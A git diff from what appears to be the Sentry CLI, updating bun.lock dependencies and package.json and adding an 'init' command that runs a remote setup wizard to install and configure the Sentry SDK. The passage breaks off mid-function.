"sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="], "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="], "to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="], + "toidentifier": ["toidentifier@1.0.1", "", {}, "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="], + "tr46": ["tr46@0.0.3", "", {}, "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw=="], "trpc-cli": ["trpc-cli@0.12.2", "", { "dependencies": { "commander": "^14.0.0" }, "peerDependencies": { "@orpc/server": "^1.0.0", "@trpc/server": "^10.45.2 || ^11.0.1", "@valibot/to-json-schema": "^1.1.0", "effect": "^3.14.2 || ^4.0.0", "valibot": "^1.1.0", "zod": "^3.24.0 || ^4.0.0" }, "optionalPeers": ["@orpc/server", "@trpc/server", "@valibot/to-json-schema", "effect", "valibot", "zod"], "bin": { "trpc-cli": "dist/bin.js" } }, "sha512-kGNCiyOimGlfcZFImbWzFF2Nn3TMnenwUdyuckiN5SEaceJbIac7+Iau3WsVHjQpoNgugFruZMDOKf8GNQNtJw=="], + "type-is": ["type-is@2.0.1", "", { "dependencies": { "content-type": "^1.0.5", "media-typer": "^1.1.0", "mime-types": "^3.0.0" } }, "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw=="], + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], "ultracite": ["ultracite@6.3.10", "", { "dependencies": { "@clack/prompts": "^0.11.0", "@trpc/server": "^11.7.2", "deepmerge": "^4.3.1", "glob": "^13.0.0", "jsonc-parser": "^3.3.1", "nypm": "^0.6.2", "trpc-cli": "^0.12.1", "zod": "^4.1.13" }, "bin": { "ultracite": "dist/index.js" } }, "sha512-I41KoWl09PklvXTdN4JWgs+6Z6n5PERDJGj1hOQXYEMbmKXZLrulG2QAZNEMJ9pdGwtcGk/MevpllWYXM5Wq3A=="], "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "unpipe": ["unpipe@1.0.0", "", {}, "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="], + "unplugin": ["unplugin@1.0.1", "", { "dependencies": { "acorn": "^8.8.1", "chokidar": "^3.5.3", "webpack-sources": "^3.2.3", "webpack-virtual-modules": "^0.5.0" } }, "sha512-aqrHaVBWW1JVKBHmGo33T5TxeL0qWzfvjWokObHA9bYmN7eNDkwOxmLjhioHl9878qDFMAaT51XNroRyuz7WxA=="], "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], + "utils-merge": ["utils-merge@1.0.1", "", {}, "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="], + "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], "uuidv7": ["uuidv7@1.1.0", "", { "bin": { "uuidv7": "cli.js" } }, "sha512-2VNnOC0+XQlwogChUDzy6pe8GQEys9QFZBGOh54l6qVfwoCUwwRvk7rDTgaIsRgsF5GFa5oiNg8LqXE3jofBBg=="], + "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], + "webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="], - "webpack-sources": ["webpack-sources@3.3.3", "", {}, "sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg=="], + "webpack-sources": ["webpack-sources@3.3.4", "", {}, "sha512-7tP1PdV4vF+lYPnkMR0jMY5/la2ub5Fc/8VQrrU+lXkiM6C4TjVfGw7iKfyhnTQOsD+6Q/iKw0eFciziRgD58Q=="], "webpack-virtual-modules": ["webpack-virtual-modules@0.5.0", "", {}, "sha512-kyDivFZ7ZM0BVOUteVbDFhlRt7Ah/CSPwJdi8hBpkK7QLumUqdLtVfm/PX/hkcnrvr0i77fO5+TjZ94Pe+C9iw=="], @@ -483,39 +771,95 @@ "which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], + "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], + "xtend": ["xtend@4.0.2", "", {}, "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="], + "xxhash-wasm": ["xxhash-wasm@1.1.0", "", {}, "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA=="], + "yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], "yocto-queue": ["yocto-queue@1.2.2", "", {}, "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ=="], "zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="], + "zod-from-json-schema": ["zod-from-json-schema@0.5.2", "", { "dependencies": { "zod": "^4.0.17" } }, "sha512-/dNaicfdhJTOuUd4RImbLUE2g5yrSzzDjI/S6C2vO2ecAGZzn9UcRVgtyLSnENSmAOBRiSpUdzDS6fDWX3Z35g=="], + + "zod-from-json-schema-v3": ["zod-from-json-schema@0.0.5", "", { "dependencies": { "zod": "^3.24.2" } }, "sha512-zYEoo86M1qpA1Pq6329oSyHLS785z/mTwfr9V1Xf/ZLhuuBGaMlDGu/pDVGVUe4H4oa1EFgWZT53DP0U3oT9CQ=="], + + "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="], + + "@a2a-js/sdk/uuid": ["uuid@11.1.0", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + + "@ai-sdk/provider-utils/@ai-sdk/provider": ["@ai-sdk/provider@1.1.3", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-qZMxYJ0qqX/RfnuIaab+zp8UAeJn/ygXXAffR5I4N0n1IrvA6qBsjc8hXLmBiMV2zoXlifkacF7sEFnYnjBcqg=="], + + "@ai-sdk/provider-utils-v6/@ai-sdk/provider": ["@ai-sdk/provider@3.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-m9ka3ptkPQbaHHZHqDXDF9C9B5/Mav0KTdky1k2HZ3/nrW2t1AgObxIVPyGDWQNS9FXT/FS6PIoSjpcP/No8rQ=="], + + "@ai-sdk/ui-utils-v5/@ai-sdk/provider": ["@ai-sdk/provider@1.1.3", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-qZMxYJ0qqX/RfnuIaab+zp8UAeJn/ygXXAffR5I4N0n1IrvA6qBsjc8hXLmBiMV2zoXlifkacF7sEFnYnjBcqg=="], + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], "@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + "@modelcontextprotocol/sdk/express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="], + + "@modelcontextprotocol/sdk/zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + + "@opentelemetry/instrumentation-http/@opentelemetry/core": ["@opentelemetry/core@2.5.0", "", { "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ=="], + "@prisma/instrumentation/@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA=="], + "@sentry/bundler-plugin-core/dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="], + "@sentry/bundler-plugin-core/glob": ["glob@9.3.5", "", { "dependencies": { "fs.realpath": "^1.0.0", "minimatch": "^8.0.2", "minipass": "^4.2.4", "path-scurry": "^1.6.1" } }, "sha512-e1LleDykUz2Iu+MTYdkSsuWX8lvAjAcs0Xef0lNIu0S2wOAzuTxCJtcd9S3cijlwYF18EsU3rzb8jPVobxDh9Q=="], + "accepts/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + "anymatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], - "bun-types/@types/node": ["@types/node@20.19.30", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-WJtwWJu7UdlvzEAUm484QNg5eAoq5QR08KDNx7g45Usrs2NtOPiX8ugDqmKdXkyL03rBqU5dYNYVQetEpBHq2g=="], + "express/body-parser": ["body-parser@1.20.4", "", { "dependencies": { "bytes": "~3.1.2", "content-type": "~1.0.5", "debug": "2.6.9", "depd": "2.0.0", "destroy": "~1.2.0", "http-errors": "~2.0.1", "iconv-lite": "~0.4.24", "on-finished": "~2.4.1", "qs": "~6.14.0", "raw-body": "~2.5.3", "type-is": "~1.6.18", "unpipe": "~1.0.0" } }, "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA=="], - "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="], + "express/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + + "express/qs": ["qs@6.14.2", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q=="], + + "express/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="], + + "finalhandler/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + + "glob/minimatch": ["minimatch@10.2.1", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-MClCe8IL5nRRmawL6ib/eT4oLyeKMGCghibcDWK+J0hh0Q8kqSdia6BvbRMVk6mPa6WqUa5uR2oxt6C5jd533A=="], "p-locate/p-limit": ["p-limit@3.1.0", "", { "dependencies": { "yocto-queue": "^0.1.0" } }, "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ=="], "readdirp/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], - "ultracite/zod": ["zod@4.3.5", "", {}, "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g=="], + "router/path-to-regexp": ["path-to-regexp@8.3.0", "", {}, "sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA=="], - "@prisma/instrumentation/@opentelemetry/instrumentation/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.207.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-lAb0jQRVyleQQGiuuvCOTDVspc14nx6XJjP4FspJ1sNARo3Regq4ZZbrc3rN4b1TYSuUCvgH+UXUPug4SLOqEQ=="], + "send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], - "@prisma/instrumentation/@opentelemetry/instrumentation/import-in-the-middle": ["import-in-the-middle@2.0.5", "", { "dependencies": { "acorn": "^8.15.0", "acorn-import-attributes": "^1.9.5", "cjs-module-lexer": "^2.2.0", "module-details-from-path": "^1.0.4" } }, "sha512-0InH9/4oDCBRzWXhpOqusspLBrVfK1vPvbn9Wxl8DAQ8yyx5fWJRETICSwkiAMaYntjJAMBP1R4B6cQnEUYVEA=="], + "ultracite/zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + + "zod-from-json-schema/zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + + "@modelcontextprotocol/sdk/express/accepts": ["accepts@2.0.0", "", { "dependencies": { "mime-types": "^3.0.0", "negotiator": "^1.0.0" } }, "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng=="], + + "@modelcontextprotocol/sdk/express/content-disposition": ["content-disposition@1.0.1", "", {}, "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q=="], + + "@modelcontextprotocol/sdk/express/cookie-signature": ["cookie-signature@1.2.2", "", {}, "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg=="], + + "@modelcontextprotocol/sdk/express/finalhandler": ["finalhandler@2.1.1", "", { "dependencies": { "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "on-finished": "^2.4.1", "parseurl": "^1.3.3", "statuses": "^2.0.1" } }, "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA=="], + + "@modelcontextprotocol/sdk/express/fresh": ["fresh@2.0.0", "", {}, "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A=="], + + "@modelcontextprotocol/sdk/express/merge-descriptors": ["merge-descriptors@2.0.0", "", {}, "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g=="], + + "@modelcontextprotocol/sdk/express/send": ["send@1.2.1", "", { "dependencies": { "debug": "^4.4.3", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.1", "mime-types": "^3.0.2", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.2" } }, "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ=="], + + "@modelcontextprotocol/sdk/express/serve-static": ["serve-static@2.2.1", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw=="], + + "@prisma/instrumentation/@opentelemetry/instrumentation/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.207.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-lAb0jQRVyleQQGiuuvCOTDVspc14nx6XJjP4FspJ1sNARo3Regq4ZZbrc3rN4b1TYSuUCvgH+UXUPug4SLOqEQ=="], "@sentry/bundler-plugin-core/glob/minimatch": ["minimatch@8.0.4", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-W0Wvr9HyFXZRGIDgCicunpQ299OKXs9RgZfaukz4qAW/pJhcpUfupc9c+OObPOFueNy8VSrZgEmDtk6Kh4WzDA=="], @@ -523,10 +867,34 @@ "@sentry/bundler-plugin-core/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], + "accepts/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + + "express/body-parser/iconv-lite": ["iconv-lite@0.4.24", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3" } }, "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA=="], + + "express/body-parser/raw-body": ["raw-body@2.5.3", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.4.24", "unpipe": "~1.0.0" } }, "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA=="], + + "express/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + + "express/type-is/media-typer": ["media-typer@0.3.0", "", {}, "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="], + + "express/type-is/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + + "finalhandler/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + + "glob/minimatch/brace-expansion": ["brace-expansion@5.0.2", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-Pdk8c9poy+YhOgVWw1JNN22/HcivgKWwpxKq04M/jTmHyCZn12WPJebZxdjSa5TmBqISrUSgNYU3eRORljfCCw=="], + "p-locate/p-limit/yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="], + "send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + + "@modelcontextprotocol/sdk/express/accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], + "@sentry/bundler-plugin-core/glob/path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], "@sentry/bundler-plugin-core/glob/path-scurry/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + + "express/type-is/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + + "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.2", "", { "dependencies": { "jackspeak": "^4.2.3" } }, "sha512-x0K50QvKQ97fdEz2kPehIerj+YTeptKF9hyYkKf6egnwmMWAkADiO0QCzSp0R5xN8FTZgYaBfSaue46Ej62nMg=="], } } diff --git a/package.json b/package.json index 17be1a23..fd680571 100644 --- a/package.json +++ b/package.json @@ -27,6 +27,7 @@ }, "devDependencies": { "@biomejs/biome": "2.3.8", + "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", "@sentry/esbuild-plugin": "^2.23.0", diff --git a/src/app.ts b/src/app.ts index 91d2a302..75895828 100644 --- a/src/app.ts +++ b/src/app.ts @@ -11,6 +11,7 @@ import { authRoute } from "./commands/auth/index.js"; import { cliRoute } from "./commands/cli/index.js"; import { eventRoute } from "./commands/event/index.js"; import { helpCommand } from "./commands/help.js"; +import { initCommand } from "./commands/init.js"; import { issueRoute } from "./commands/issue/index.js"; import { listCommand as issueListCommand } from "./commands/issue/list.js"; import { logRoute } from "./commands/log/index.js"; @@ -43,6 +44,7 @@ export const routes = buildRouteMap({ event: eventRoute, log: logRoute, trace: traceRoute, + init: initCommand, api: apiCommand, issues: issueListCommand, orgs: orgListCommand, diff --git a/src/commands/init.ts b/src/commands/init.ts new file mode 100644 index 00000000..022b2b87 --- /dev/null +++ b/src/commands/init.ts @@ -0,0 +1,89 @@ +/** + * sentry init + * + * Initialize Sentry in a project using the remote wizard workflow. + * Communicates with the Mastra API via suspend/resume to perform + * local filesystem operations and interactive prompts. + */ + +import path from "node:path"; +import type { SentryContext } from "../context.js"; +import { buildCommand } from "../lib/command.js"; +import { runWizard } from "../lib/init/wizard-runner.js"; + +type InitFlags = { + readonly force: boolean; + readonly yes: boolean; + readonly "dry-run": boolean; + readonly features?: string; +}; + +export const initCommand = buildCommand({ + docs: { + brief: "Initialize Sentry in your project", + fullDescription: + "Runs the Sentry setup wizard to detect your project's framework, " + + "install the SDK, and configure error monitoring. Uses a remote " + + "workflow that coordinates local file operations through the CLI.", + }, + parameters: { + positional: { + kind: "tuple", + parameters: [ + { + placeholder: "directory", + brief: "Project directory (default: current directory)", + parse: String, + optional: true, + }, + ], + }, + flags: { + force: { + kind: "boolean", + brief: "Continue even if Sentry is already installed", + default: false, + }, + yes: { + kind: "boolean", + brief: "Non-interactive mode (accept defaults)", + default: false, + }, + "dry-run": { + kind: "boolean", + brief: "Preview changes without applying them", + default: false, + }, + features: { + kind: "parsed", + parse: String, + brief: "Comma-separated features: errors,tracing,logs,replay,metrics", + optional: true, + placeholder: "list", + }, + }, + aliases: { + y: "yes", + }, + }, + async func(this: SentryContext, flags: InitFlags, 